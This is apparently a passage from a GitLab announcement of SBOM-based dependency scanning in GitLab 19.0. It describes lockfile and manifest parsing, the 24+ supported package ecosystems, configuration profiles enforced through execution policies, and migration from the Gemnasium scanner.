Continuously scan for new vulnerabilities. Invoke the analyzer when new advisories are published, and for each MR and pipeline run. This matters most for projects where active development has slowed but the code is still in production.

See SBOM-based dependency scanning in action

Supported languages and file formats

This release supports 24+ package ecosystems, with more planned in future releases. Adding support for new languages and file formats is now simpler because the analyzer parses lockfiles and dependency graphs directly, rather than replicating each package manager's build toolchain.

When a supported lockfile or dependency graph isn't available, the analyzer falls back to parsing manifest files such as pom.xml, requirements.txt, and Gradle build files. This surfaces direct dependencies but not transitive ones, so coverage is less complete than a lockfile-based scan. Lockfiles remain the recommended approach, but manifest parsing gives teams a starting point for projects that don’t have one.

Configure dependency scanning once, enforce it everywhere

As project counts grow, manually configuring scanners across every project becomes a significant operational burden. Projects get skipped, configurations drift, and audits surface gaps no one knew existed.

GitLab 19.0 ships with a security configuration profile for dependency scanning. Security and platform teams configure scanning once and apply it across hundreds of projects, instead of editing each pipeline by hand.

You can mandate these security standards using scan execution policies and pipeline execution policies. They allow teams to enforce dependency scanning across multiple projects without touching a single .gitlab-ci.yml file. By defining the requirement once at the group or instance level, the policy applies everywhere automatically.

Get started today

SBOM-based dependency scanning is available for GitLab Ultimate customers. The feature is live on GitLab.com and rolling out to GitLab Dedicated and self-managed customers on our standard release cadence.

Teams moving from the Gemnasium dependency scanner can run both analyzers side by side during the transition. The migration guide walks you through the switch, including how to compare results between the two.

To start fresh, follow the step-by-step instructions in our set-up tutorial. Our technical documentation covers configuration, supported languages, and advanced options.

Please share your requests and ideas for dependency scanning in our feedback epic.

Read more about what's in GitLab 19.0

• Manage CI/CD credentials with GitLab Secrets Manager
• Transform MRs from manual tasks to an automated workflow
• Track CI component usage across your organization
• More AI models for GitLab Duo Agent Platform Self-Hosted
• Full security scanner coverage of your codebase in minutes